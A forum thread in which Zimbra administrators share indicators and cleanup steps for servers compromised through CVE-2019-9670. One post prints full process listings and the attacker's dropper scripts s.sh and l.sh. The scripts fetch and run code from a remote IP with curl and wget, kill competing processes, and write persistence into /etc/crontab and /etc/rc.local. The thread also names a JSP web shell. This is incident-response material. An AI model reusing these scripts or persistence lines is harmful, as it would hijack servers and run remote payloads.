CVE-2019-9670 being actively exploited (Hacked Server)

[lfasci]

I found jsp files also in the folder /opt/zimbra/jetty/webapps/zimbra/img/.

I think that jsp files can be found in every folder that can be accessed from internet.
A very dangerous file is ZimbraApps.jsp that is http://freshmeat.sourceforge.net/projects/jspbrowser
and allow to browse almost the entire filesystem

You cab also search for recent files using
find /opt/zimbra/jetty/ -name "*.jsp" -mtime -15 -ls

In general you can look at .jsp and -sh files to search for zimbra (and maybe) also system folders where scripts or jsp was downloaded.
You can grep for calls in /opt/zimbra/log/access_log.2019* files to find for commands issued.

On compromised systems, with a very lot of attention, a good idea is to use zmldappasswd to change ldap passwords, because they are stored in clear text in the /opt/zimbra/conf


Hope that helps

[yeeP6rai]

I found on my server. And yes, it has /tmp/zmcat binary file and /tmp/l.sh and /tmp/s.sh shell files (for it content see blow)
Zimbra version: 8.7.11_GA_3706

Code: Select all

ps -aefH
root     18242     1  0 мар23 ?     00:00:00   /opt/zimbra/libexec/zmmailboxdmgr start -Dfile.encoding=UTF-8 -server -Dhttps.protocols=TLSv1,TLSv1
zimbra   18243 18242 13 мар23 ?     2-03:28:38     /opt/zimbra/common/bin/java -Dfile.encoding=UTF-8 -server -Dhttps.protocols=TLSv1,TLSv1.1,TLSv1
zimbra   15461 18243  0 апр04 ?     00:00:00       /bin/sh -c wget http://181.148.183.75/reports/s.sh -O /tmp/s.sh;curl http://181.148.183.75/repo
zimbra   15490 15461  0 апр04 ?     00:00:00         sh /tmp/s.sh
zimbra   15527 15490  0 апр04 ?     00:00:00           bash /tmp/l.sh
zimbra    9426 15527  0 апр04 ?     00:00:00             sed -i s/exit 0//g /etc/rc.local
zimbra   15465 18243  0 апр04 ?     00:00:00       /bin/sh -c wget http://181.148.183.75/reports/s.sh -O /tmp/s.sh;curl http://181.148.183.75/repo
zimbra   15501 15465  0 апр04 ?     00:00:00         sh /tmp/s.sh
zimbra   15551 15501  0 апр04 ?     00:00:00           bash /tmp/l.sh
zimbra    9405 15551  0 апр04 ?     00:00:00             sed -i s/exit 0//g /etc/rc.local
zimbra   15469 18243  0 апр04 ?     00:00:00       /bin/sh -c wget http://181.148.183.75/reports/s.sh -O /tmp/s.sh;curl http://181.148.183.75/repo
zimbra   15497 15469  0 апр04 ?     00:00:00         sh /tmp/s.sh
zimbra   15627 15497  0 апр04 ?     00:00:00           bash /tmp/l.sh
zimbra    9450 15627  0 апр04 ?     00:00:00             sed -i s/exit 0//g /etc/rc.local
zimbra   15472 18243  0 апр04 ?     00:00:00       /bin/sh -c wget http://181.148.183.75/reports/s.sh -O /tmp/s.sh;curl http://181.148.183.75/repo
zimbra   15508 15472  0 апр04 ?     00:00:00         sh /tmp/s.sh
zimbra   15629 15508  0 апр04 ?     00:00:00           bash /tmp/l.sh
zimbra   15481 18243  0 апр04 ?     00:00:00       /bin/sh -c wget http://181.148.183.75/reports/s.sh -O /tmp/s.sh;curl http://181.148.183.75/repo
zimbra   15590 15481  0 апр04 ?     00:00:00         sh /tmp/s.sh
zimbra   15600 15590  0 апр04 ?     00:00:00           bash /tmp/l.sh
zimbra    9411 15600  0 апр04 ?     00:00:00             sed -i s/exit 0//g /etc/rc.local
zimbra   15485 18243  0 апр04 ?     00:00:00       /bin/sh -c wget http://181.148.183.75/reports/s.sh -O /tmp/s.sh;curl http://181.148.183.75/repo
zimbra   15691 15485  0 апр04 ?     00:00:00         sh /tmp/s.sh
zimbra   15771 15691  0 апр04 ?     00:00:00           bash /tmp/l.sh
zimbra    9496 15771  0 апр04 ?     00:00:00             sed -i s/exit 0//g /etc/rc.local
zimbra   15584 18243  0 апр04 ?     00:00:00       /bin/sh -c wget http://181.148.183.75/reports/s.sh -O /tmp/s.sh;curl http://181.148.183.75/repo
zimbra   15685 15584  0 апр04 ?     00:00:00         sh /tmp/s.sh
zimbra   15755 15685  0 апр04 ?     00:00:00           bash /tmp/l.sh
zimbra    9486 15755  0 апр04 ?     00:00:00             sed -i s/exit 0//g /etc/rc.local
zimbra   15585 18243  0 апр04 ?     00:00:00       /bin/sh -c wget http://181.148.183.75/reports/s.sh -O /tmp/s.sh;curl http://181.148.183.75/repo
zimbra   15676 15585  0 апр04 ?     00:00:00         sh /tmp/s.sh
zimbra   15710 15676  0 апр04 ?     00:00:00           bash /tmp/l.sh
zimbra   28882 18243  0 17:14 ?        00:00:00       /bin/sh -c wget http://181.148.183.75/reports/s.sh -O /tmp/s.sh;curl http://181.148.183.75/repo
zimbra   28915 28882  0 17:14 ?        00:00:00         sh /tmp/s.sh
zimbra   29110 28915  0 17:14 ?        00:00:00           bash /tmp/l.sh
zimbra   16398 29110  0 17:33 ?        00:00:00             sed -i s/exit 0//g /etc/rc.local
zimbra   28885 18243  0 17:14 ?        00:00:00       /bin/sh -c wget http://181.148.183.75/reports/s.sh -O /tmp/s.sh;curl http://181.148.183.75/repo
zimbra   28924 28885  0 17:14 ?        00:00:00         sh /tmp/s.sh
zimbra   29074 28924  0 17:14 ?        00:00:00           bash /tmp/l.sh
zimbra   16428 29074  0 17:33 ?        00:00:00             sed -i s/exit 0//g /etc/rc.local
zimbra   28889 18243  0 17:14 ?        00:00:00       /bin/sh -c wget http://181.148.183.75/reports/s.sh -O /tmp/s.sh;curl http://181.148.183.75/repo
zimbra   29065 28889  0 17:14 ?        00:00:00         sh /tmp/s.sh
zimbra   29086 29065  0 17:14 ?        00:00:00           bash /tmp/l.sh
zimbra   16509 29086  0 17:33 ?        00:00:00             sed -i s/exit 0//g /etc/rc.local
zimbra   28895 18243  0 17:14 ?        00:00:00       /bin/sh -c wget http://181.148.183.75/reports/s.sh -O /tmp/s.sh;curl http://181.148.183.75/repo
zimbra   28935 28895  0 17:14 ?        00:00:00         sh /tmp/s.sh
zimbra   28961 28935  0 17:14 ?        00:00:00           bash /tmp/l.sh
zimbra   28900 18243  0 17:14 ?        00:00:00       /bin/sh -c wget http://181.148.183.75/reports/s.sh -O /tmp/s.sh;curl http://181.148.183.75/repo
zimbra   28944 28900  0 17:14 ?        00:00:00         sh /tmp/s.sh
zimbra   28978 28944  0 17:14 ?        00:00:00           bash /tmp/l.sh
zimbra   28906 18243  0 17:14 ?        00:00:00       /bin/sh -c wget http://181.148.183.75/reports/s.sh -O /tmp/s.sh;curl http://181.148.183.75/repo
zimbra   28952 28906  0 17:14 ?        00:00:00         sh /tmp/s.sh
zimbra   29011 28952  0 17:14 ?        00:00:00           bash /tmp/l.sh
zimbra   16494 29011  0 17:33 ?        00:00:00             sed -i s/exit 0//g /etc/rc.local
zimbra   28910 18243  0 17:14 ?        00:00:00       /bin/sh -c wget http://181.148.183.75/reports/s.sh -O /tmp/s.sh;curl http://181.148.183.75/repo
zimbra   29150 28910  0 17:14 ?        00:00:00         sh /tmp/s.sh
zimbra   29159 29150  0 17:14 ?        00:00:00           bash /tmp/l.sh
zimbra   16451 29159  0 17:33 ?        00:00:00             sed -i s/bash /tmp/lower.sh//g /etc/rc.local
zimbra   18523     1  0 мар23 ?     00:08:18   /opt/zimbra/common/bin/memcached -d -P /opt/zimbra/log/memcached.pid -l 127.0.0.1 -p 11211
zimbra   18542     1  0 мар23 ?     00:00:00   nginx: master process /opt/zimbra/common/sbin/nginx -c /opt/zimbra/conf/nginx.conf
zimbra   18543 18542  0 мар23 ?     01:43:29     nginx: worker process
zimbra   18544 18542  0 мар23 ?     01:43:27     nginx: worker process
zimbra   18545 18542  0 мар23 ?     01:42:28     nginx: worker process
zimbra   18546 18542  0 мар23 ?     01:46:26     nginx: worker process
zimbra   19102     1  1 мар23 ?     04:38:13   /opt/zimbra/common/sbin/clamd --config-file=/opt/zimbra/conf/clamd.conf
zimbra   19118     1  0 мар23 ?     00:00:54   /opt/zimbra/common/bin/freshclam --config-file=/opt/zimbra/conf/freshclam.conf --quiet --daemon --c
zimbra   19122     1  0 мар23 ?     00:00:00   /opt/zimbra/common/sbin/opendkim -x /opt/zimbra/conf/opendkim.conf -u zimbra
zimbra   19124 19122  0 мар23 ?     00:05:30     /opt/zimbra/common/sbin/opendkim -x /opt/zimbra/conf/opendkim.conf -u zimbra
zimbra   19165     1  0 мар23 ?     00:01:43   /opt/zimbra/common/bin/httpd -k start -f /opt/zimbra/conf/httpd.conf
zimbra   19166 19165  0 мар23 ?     00:00:00     /opt/zimbra/common/bin/rotatelogs /opt/zimbra/log/httpd_error.log.%Y-%m-%d 86400
zimbra   19167 19165  0 мар23 ?     00:00:00     /opt/zimbra/common/bin/rotatelogs /opt/zimbra/log/httpd_access.log.%Y-%m-%d 86400
zimbra   19169 19165  0 мар23 ?     00:08:11     /opt/zimbra/common/bin/httpd -k start -f /opt/zimbra/conf/httpd.conf
zimbra   19171 19165  0 мар23 ?     00:08:16     /opt/zimbra/common/bin/httpd -k start -f /opt/zimbra/conf/httpd.conf
zimbra   19172 19165  0 мар23 ?     00:08:05     /opt/zimbra/common/bin/httpd -k start -f /opt/zimbra/conf/httpd.conf
zimbra   11443 19165  0 мар24 ?     00:07:27     /opt/zimbra/common/bin/httpd -k start -f /opt/zimbra/conf/httpd.conf
zimbra   19338     1  0 мар23 ?     02:09:19   /opt/zimbra/common/lib/jvm/java/bin/java -XX:ErrorFile=/opt/zimbra/log -client -Xmx256m -Dhttps.pro
zimbra   19350     1  0 мар23 ?     00:00:32   /opt/zimbra/common/sbin/saslauthd -r -a zimbra
zimbra   19368 19350  0 мар23 ?     00:00:31     /opt/zimbra/common/sbin/saslauthd -r -a zimbra
zimbra   19369 19350  0 мар23 ?     00:00:31     /opt/zimbra/common/sbin/saslauthd -r -a zimbra
zimbra   19370 19350  0 мар23 ?     00:00:31     /opt/zimbra/common/sbin/saslauthd -r -a zimbra
zimbra   19371 19350  0 мар23 ?     00:00:32     /opt/zimbra/common/sbin/saslauthd -r -a zimbra
root     19516     1  0 мар23 ?     00:07:47   /opt/zimbra/common/libexec/master -w
postfix  19518 19516  0 мар23 ?     00:01:41     qmgr -l -t unix -u
postfix  21295 19516  0 мар23 ?     00:00:38     tlsmgr -l -t unix -u
postfix  25125 19516  0 мар27 ?     00:07:43     postscreen -l -n smtp -t inet -u
postfix  25128 19516  0 мар27 ?     00:03:07     anvil -l -t unix -u
postfix  31671 19516  0 22:06 ?        00:00:00     pickup -l -t unix -u
postfix   9701 19516  0 22:18 ?        00:00:00     showq -t unix -u
postfix   1256 19516  0 22:44 ?        00:00:00     proxymap -t unix -u
postfix   8078 19516  0 22:53 ?        00:00:00     trivial-rewrite -n rewrite -t unix -u
postfix   8079 19516  0 22:53 ?        00:00:00     cleanup -z -t unix -u
postfix   8080 19516  0 22:53 ?        00:00:00     smtp -n smtp-amavis -t unix -u -o smtp_data_done_timeout=1200 -o smtp_send_xforward_command=yes -
postfix  11097 19516  0 22:56 ?        00:00:00     trivial-rewrite -n rewrite -t unix -u
postfix  11098 19516  0 22:56 ?        00:00:00     proxymap -t unix -u
postfix  11100 19516  0 22:56 ?        00:00:00     proxymap -t unix -u
postfix  11102 19516  0 22:56 ?        00:00:00     cleanup -z -t unix -u
postfix  11103 19516  0 22:56 ?        00:00:00     smtp -n smtp-amavis -t unix -u -o smtp_data_done_timeout=1200 -o smtp_send_xforward_command=yes -
postfix  11108 19516  0 22:56 ?        00:00:00     smtpd -n [127.0.0.1]:10025 -t inet -u -o content_filter= -o local_recipient_maps= -o virtual_mail
postfix  11110 19516  0 22:56 ?        00:00:00     smtpd -n [127.0.0.1]:10025 -t inet -u -o content_filter= -o local_recipient_maps= -o virtual_mail
postfix  11112 19516  0 22:56 ?        00:00:00     lmtp -t unix -u
postfix  12948 19516  1 22:58 ?        00:00:00     smtpd -t pass -u -o stress= -o smtpd_tls_security_level=may -o content_filter=scan:[127.0.0.1]:10
postfix  12949 19516  1 22:58 ?        00:00:00     smtpd -t pass -u -o stress= -o smtpd_tls_security_level=may -o content_filter=scan:[127.0.0.1]:10
zimbra   19580     1  0 мар23 ?     00:08:30   /usr/bin/perl -w /opt/zimbra/libexec/zmstat-proc
zimbra   19582     1  0 мар23 ?     00:01:23   /usr/bin/perl -w /opt/zimbra/libexec/zmstat-cpu
zimbra   19584     1  0 мар23 ?     00:01:15   /usr/bin/perl -w /opt/zimbra/libexec/zmstat-vm
zimbra   21233 19584  0 мар23 ?     00:00:15     /usr/bin/vmstat -n -S K 30
zimbra   19586     1  0 мар23 ?     00:00:37   /usr/bin/perl -w /opt/zimbra/libexec/zmstat-io -x
zimbra   21236 19586  0 мар23 ?     00:00:27     /usr/bin/iostat -d -k -x 30
zimbra   19588     1  0 мар23 ?     00:00:06   /usr/bin/perl -w /opt/zimbra/libexec/zmstat-df
zimbra   19590     1  0 мар23 ?     00:00:36   /usr/bin/perl -w /opt/zimbra/libexec/zmstat-io
zimbra   21235 19590  0 мар23 ?     00:00:25     /usr/bin/iostat -d -k 30
zimbra   19592     1  0 мар23 ?     00:00:00   /usr/bin/perl -w /opt/zimbra/libexec/zmstat-fd
root     20459 19592  0 мар23 ?     00:00:00     sudo /opt/zimbra/libexec/zmstat-fd
root     20460 20459  0 мар23 ?     00:03:04       /usr/bin/perl -w /opt/zimbra/libexec/zmstat-fd
zimbra   19596     1  0 мар23 ?     00:39:27   /usr/bin/perl -w /opt/zimbra/libexec/zmstat-allprocs
zimbra   19617     1  0 мар23 ?     00:04:07   /usr/bin/perl -w /opt/zimbra/libexec/zmstat-mysql
zimbra   19628     1  0 мар23 ?     00:01:11   /usr/bin/perl -w /opt/zimbra/libexec/zmstat-mtaqueue
zimbra   19659     1  0 мар23 ?     00:14:17   /usr/bin/perl -w /opt/zimbra/libexec/zmstat-nginx
zimbra   19662     1  0 мар23 ?     00:14:05   /usr/bin/perl -w /opt/zimbra/libexec/zmstat-ldap
zimbra   29900     1  0 апр02 ?     00:00:00   sh /tmp/s.sh
zimbra   29919 29900  0 апр02 ?     00:00:00     bash /tmp/l.sh
zimbra   17860 29919  0 апр02 ?     00:00:00       sed -i s/bash /tmp/lower.sh//g /etc/rc.local
zimbra   29913     1  0 апр02 ?     00:00:00   sh /tmp/s.sh
zimbra   29937 29913  0 апр02 ?     00:00:00     bash /tmp/l.sh
zimbra   29965     1  0 апр02 ?     00:00:00   sh /tmp/s.sh
zimbra   29975 29965  0 апр02 ?     00:00:00     bash /tmp/l.sh
zimbra   30013     1  0 апр02 ?     00:00:00   sh /tmp/s.sh
zimbra   30022 30013  0 апр02 ?     00:00:00     bash /tmp/l.sh
zimbra   30051     1  0 апр02 ?     00:00:00   sh /tmp/s.sh
zimbra   30060 30051  0 апр02 ?     00:00:00     bash /tmp/l.sh
zimbra   30090     1  0 апр02 ?     00:00:00   sh /tmp/s.sh
zimbra   30099 30090  0 апр02 ?     00:00:00     bash /tmp/l.sh
zimbra   30127     1  0 апр02 ?     00:00:00   sh /tmp/s.sh
zimbra   30136 30127  0 апр02 ?     00:00:00     bash /tmp/l.sh
zimbra   26749     1  0 апр02 ?     00:00:00   sh /tmp/s.sh
zimbra   26772 26749  0 апр02 ?     00:00:00     bash /tmp/l.sh
zimbra   26762     1  0 апр02 ?     00:00:00   sh /tmp/s.sh
zimbra   26774 26762  0 апр02 ?     00:00:00     bash /tmp/l.sh
zimbra   26843     1  0 апр02 ?     00:00:00   sh /tmp/s.sh
zimbra   26852 26843  0 апр02 ?     00:00:00     bash /tmp/l.sh
zimbra   14204 26852  0 апр02 ?     00:00:00       sed -i s/exit 0//g /etc/rc.local
zimbra   26889     1  0 апр02 ?     00:00:00   sh /tmp/s.sh
zimbra   26910 26889  0 апр02 ?     00:00:00     bash /tmp/l.sh
zimbra   26901     1  0 апр02 ?     00:00:00   sh /tmp/s.sh
zimbra   26944 26901  0 апр02 ?     00:00:00     bash /tmp/l.sh
zimbra   26917     1  0 апр02 ?     00:00:00   sh /tmp/s.sh
zimbra   26969 26917  0 апр02 ?     00:00:00     bash /tmp/l.sh
zimbra   27001     1  0 апр02 ?     00:00:00   sh /tmp/s.sh
zimbra   27011 27001  0 апр02 ?     00:00:00     bash /tmp/l.sh
zimbra   25087     1  0 апр03 ?     00:00:00   sh /tmp/s.sh
zimbra   25100 25087  0 апр03 ?     00:00:00     bash /tmp/l.sh
zimbra   25228     1  0 апр03 ?     00:00:00   sh /tmp/s.sh
zimbra   25269 25228  0 апр03 ?     00:00:00     bash /tmp/l.sh
zimbra   25297     1  0 апр03 ?     00:00:00   sh /tmp/s.sh
zimbra   25330 25297  0 апр03 ?     00:00:00     bash /tmp/l.sh
zimbra   25357     1  0 апр03 ?     00:00:00   sh /tmp/s.sh
zimbra   25368 25357  0 апр03 ?     00:00:00     bash /tmp/l.sh
zimbra   25425     1  0 апр03 ?     00:00:00   sh /tmp/s.sh
zimbra   25450 25425  0 апр03 ?     00:00:00     bash /tmp/l.sh
zimbra   25441     1  0 апр03 ?     00:00:00   sh /tmp/s.sh
zimbra   25474 25441  0 апр03 ?     00:00:00     bash /tmp/l.sh
zimbra    8358 25474  0 апр03 ?     00:00:00       sed -i s/bash /tmp/lower.sh//g /etc/rc.local
zimbra   23473     1  0 апр03 ?     00:00:00   sh /tmp/s.sh
zimbra   23498 23473  0 апр03 ?     00:00:00     bash /tmp/l.sh
zimbra   23481     1  0 апр03 ?     00:00:00   sh /tmp/s.sh
zimbra   23522 23481  0 апр03 ?     00:00:00     bash /tmp/l.sh
zimbra   23485     1  0 апр03 ?     00:00:00   sh /tmp/s.sh
zimbra   23531 23485  0 апр03 ?     00:00:00     bash /tmp/l.sh
zimbra    1209 23531  0 апр03 ?     00:00:00       sed -i s/exit 0//g /etc/rc.local
zimbra   23614     1  0 апр03 ?     00:00:00   sh /tmp/s.sh
zimbra   23642 23614  0 апр03 ?     00:00:00     bash /tmp/l.sh
zimbra    1361 23642  0 апр03 ?     00:00:00       sed -i s/bash /tmp/lower.sh//g /etc/rc.local
zimbra   23624     1  0 апр03 ?     00:00:00   sh /tmp/s.sh
zimbra   23650 23624  0 апр03 ?     00:00:00     bash /tmp/l.sh
zimbra    8807     1  0 00:45 ?        00:00:01   /usr/bin/perl -T /opt/zimbra/common/sbin/amavis-mc
zimbra    8811  8807  0 00:45 ?        00:03:10     /usr/bin/perl -T /opt/zimbra/common/sbin/amavis-services msg-forwarder
zimbra    8812  8807  0 00:45 ?        00:00:37     /usr/bin/perl -T /opt/zimbra/common/sbin/amavis-services childproc-minder
zimbra    8813  8807  0 00:45 ?        00:00:33     /usr/bin/perl -T /opt/zimbra/common/sbin/amavis-services snmp-responder
zimbra    8844     1  0 00:45 ?        00:00:03   /opt/zimbra/common/sbin/amavisd (master)
zimbra   18833  8844  0 21:15 ?        00:00:07     /opt/zimbra/common/sbin/amavisd (ch12-avail)
zimbra   20933  8844  0 21:17 ?        00:00:11     /opt/zimbra/common/sbin/amavisd (ch19-avail)
zimbra   26051  8844  0 21:23 ?        00:00:10     /opt/zimbra/common/sbin/amavisd (ch18-avail)
zimbra   31482  8844  0 21:29 ?        00:00:05     /opt/zimbra/common/sbin/amavisd (ch12-avail)
zimbra    5223  8844  0 21:36 ?        00:00:10     /opt/zimbra/common/sbin/amavisd (ch18-avail)
zimbra   11989  8844  0 21:44 ?        00:00:07     /opt/zimbra/common/sbin/amavisd (ch16-avail)
zimbra   29403  8844  0 22:04 ?        00:00:03     /opt/zimbra/common/sbin/amavisd (ch9-avail)
zimbra    8966  8844  0 22:17 ?        00:00:04     /opt/zimbra/common/sbin/amavisd (ch8-avail)
zimbra   13540  8844  0 22:22 ?        00:00:04     /opt/zimbra/common/sbin/amavisd (ch8-avail)
zimbra    5857  8844  0 22:50 ?        00:00:00     /opt/zimbra/common/sbin/amavisd (ch1-avail)
zimbra   25153     1  0 03:31 ?        00:07:24   /opt/zimbra/common/lib/jvm/java/bin/java -XX:ErrorFile=/opt/zimbra/log -client -Xmx256m -Dhttps.pro
zimbra   26572     1  0 03:31 ?        00:00:42   /opt/zimbra/common/bin/swatchdog --config-file=/opt/zimbra/conf/logswatchrc --use-cpan-file-tail --
zimbra   26573 26572  0 03:31 ?        00:01:17     /usr/bin/perl /opt/zimbra/libexec/zmlogger
zimbra   26693 26573  0 03:31 ?        00:00:00       zmlogger: zmrrdfetch: server
zimbra   26709     1  0 03:31 ?        00:00:00   /usr/bin/perl /opt/zimbra/common/bin/swatchdog --config-file=/opt/zimbra/conf/swatchrc --use-cpan-f
zimbra   26718 26709  0 03:31 ?        00:02:10     /usr/bin/perl /opt/zimbra/data/tmp/.swatchdog_script.26709
root     14997     1  0 04:30 ?        00:10:31   /usr/bin/python2 -s /usr/bin/fail2ban-server -s /var/run/fail2ban/fail2ban.sock -p /var/run/fail2ba
[root@mail zimbra]#

Code: Select all

[root@mail ~]# less /tmp/l.sh
#!/bin/bash

SHELL=/bin/sh
PATH=/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin:/opt/zimbra/bin

function kills() {
        /bin/ps aux |grep -v zmcat | awk '{if($3>50.0) print $2}' | while read procid
        do
        kill -9 $procid
        done
}

function writecrontab() {
        xcrontab=$(cat /etc/crontab | grep "http://181.148.183.75/reports/l.sh" | grep -v grep |wc -l)
        if [ $xcrontab -eq 0 ];then
        echo "0 0 * * *   root    curl http://181.148.183.75/reports/l.sh -L > /tmp/l.sh ; wget -P /tmp/ http://181.148.183.75/reports/l.sh ; rm /tmp/l.sh.* ; bash /tmp/l.sh &" >> /etc/crontab
        else
        echo ""
        fi
}

function writerc() {
        x=$(cat /etc/rc.local | grep "http://181.148.183.75/reports/l.sh" | grep -v grep | wc -l)
        if [ $x -eq 0 ];then
                $(sed -i "s/exit 0//g" /etc/rc.local)
                $(sed -i "s/bash /tmp/lower.sh//g" /etc/rc.local)
                echo "curl http://181.148.183.75/reports/l.sh -L > /tmp/l.sh ; wget -P /tmp/ http://181.148.183.75/reports/l.sh ; rm /tmp/l.sh.* ; bash /tmp/l.sh" >> /etc/rc.local
                echo "exit 0" >> /etc/rc.local
        else
                echo ""
        fi

Code: Select all

[root@mail ~]# less /tmp/s.sh
#!/bin/bash
SHELL=/bin/sh
PATH=/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin:/opt/zimbra/bin

/usr/bin/pkill -f "185.106.120.118"
/bin/ps aux | grep -v zmcat | awk '{if($3>50.0) print $2}' | while read procid
do
/bin/kill -9 $procid
done

whoami=$( whoami )
if [ ${whoami}x != "root"x ];then
        echo "user"
        curl  --connect-timeout 30 --max-time 30 --retry 3 http://181.148.183.75/reports/l.sh  -o /tmp/l.sh
        if [ ! -f "/tmp/l.sh" ] ;then
                wget  http://181.148.183.75/reports/l.sh -P /tmp/
                rm /tmp/l.sh.*
        fi
        chmod 777 /tmp/l.sh
        bash /tmp/l.sh
else
        curl  --connect-timeout 30 --max-time 30 --retry 3 http://181.148.183.75/reports/l.sh  -o /tmp/l.sh
        if [ ! -f "/etc/root.sh" ] ;then
                wget  http://181.148.183.75/reports/r.sh -O /etc/root.sh
                rm /etc/root.sh.*
        fi
        chmod 777 /etc/root.sh
        bash /etc/root.sh
fi
echo "over"

[yeeP6rai]

Is there way to know about new patches (via rss, maillist, zabbix web page monitor, etc) for specific zimbra version?
Thanks

[maxxer]

Is there way to know about new patches (via rss, maillist, zabbix web page monitor, etc) for specific zimbra version?

rss: https://blog.zimbra.com/

[yeeP6rai]

Is there way to know about new patches (via rss, maillist, zabbix web page monitor, etc) for specific zimbra version?

rss: https://blog.zimbra.com/

Thank you!

[maxxer]

You cab also search for recent files using
find /opt/zimbra/jetty/ -name "*.jsp" -mtime -15 -ls

Other than this users found malicious .java files.

Additionally to the one above also this find should be run:

Code: Select all

find /opt/zimbra/jetty/ -name "*_jsp.java" -mtime -15 -ls 

[maxxer]

I myself found also some .class files named after the compromised .java ones

[yeeP6rai]

You cab also search for recent files using
find /opt/zimbra/jetty/ -name "*.jsp" -mtime -15 -ls

Other than this users found malicious .java files.

Additionally to the one above also this find should be run:

Code: Select all

find /opt/zimbra/jetty/ -name "*_jsp.java" -mtime -15 -ls 

Yes... Thanks

[root@mail ~]# find /opt/zimbra/jetty/ -name "*_jsp.java" -mtime -15 -ls
27160940 8 -rw-r----- 1 zimbra zimbra 5699 апр 2 23:27 /opt/zimbra/jetty/work/zimbra/jsp/org/apache/jsp/img/_3trc_jsp.java
27160948 8 -rw-r----- 1 zimbra zimbra 5699 апр 2 23:28 /opt/zimbra/jetty/work/zimbra/jsp/org/apache/jsp/img/_59fk_jsp.java
27160941 8 -rw-r----- 1 zimbra zimbra 5698 апр 2 23:27 /opt/zimbra/jetty/work/zimbra/jsp/org/apache/jsp/img/HMtq_jsp.java
23333748 8 -rw-r----- 1 zimbra zimbra 4939 мар 28 11:46 /opt/zimbra/jetty/work/zimbra/jsp/org/apache/jsp/downloads/AVj2_jsp.java
23333297 8 -rw-r----- 1 zimbra zimbra 4939 мар 28 12:48 /opt/zimbra/jetty/work/zimbra/jsp/org/apache/jsp/downloads/J7To_jsp.java
23331626 8 -rw-r----- 1 zimbra zimbra 5212 апр 2 23:27 /opt/zimbra/jetty/work/zimbra/jsp/org/apache/jsp/downloads/_8rcg_jsp.java
23331318 8 -rw-r----- 1 zimbra zimbra 5211 апр 2 23:27 /opt/zimbra/jetty/work/zimbra/jsp/org/apache/jsp/downloads/aWbc_jsp.java
23335475 8 -rw-r----- 1 zimbra zimbra 4939 мар 28 12:57 /opt/zimbra/jetty/work/zimbra/jsp/org/apache/jsp/downloads/B9uH_jsp.java
23331332 8 -rw-r----- 1 zimbra zimbra 4939 мар 28 11:46 /opt/zimbra/jetty/work/zimbra/jsp/org/apache/jsp/downloads/Yo5h_jsp.java
23331505 8 -rw-r----- 1 zimbra zimbra 4940 мар 28 11:46 /opt/zimbra/jetty/work/zimbra/jsp/org/apache/jsp/downloads/_9gHM_jsp.java
23333290 8 -rw-r----- 1 zimbra zimbra 4939 мар 28 12:48 /opt/zimbra/jetty/work/zimbra/jsp/org/apache/jsp/downloads/zqnl_jsp.java
23333028 8 -rw-r----- 1 zimbra zimbra 4939 мар 28 12:54 /opt/zimbra/jetty/work/zimbra/jsp/org/apache/jsp/downloads/pDvJ_jsp.java

[maxxer]

Yes... Thanks

along with them I found also some .class files with the same basename of .java

[pup_seba]

So, based on your findings so far, we should be looking for these things:

--> Recursevly under /opt/zimbra/jetty/ (so far things were found under /opt/zimbra/jetty/work/zimbra/jsp/org/apache/jsp/downloads/ and under /opt/zimbra/jetty/webapps/zimbra/downloads)
- Weird (random named) files with ".jsp" extension
- Weird files (random named) named with "_jsp.java" or "_jsp.class" at the end of them.

--> Under /tmp
- zmcat
- l.sh
- s.sh

--> Verify for "weird" accounts in zimbra. At least for one of my customers their scripts weren't able to delete those accounts once created.

--> Verify that /etc/crontab and /etc/rc.local are "clean".

The jsp files I found are for that reverse cmd thing. Are the ones you find also for that? As maybe we could also search (grep) for some part of its content, as a reinforcement for al the 'finds' being executed.

Thank you guys!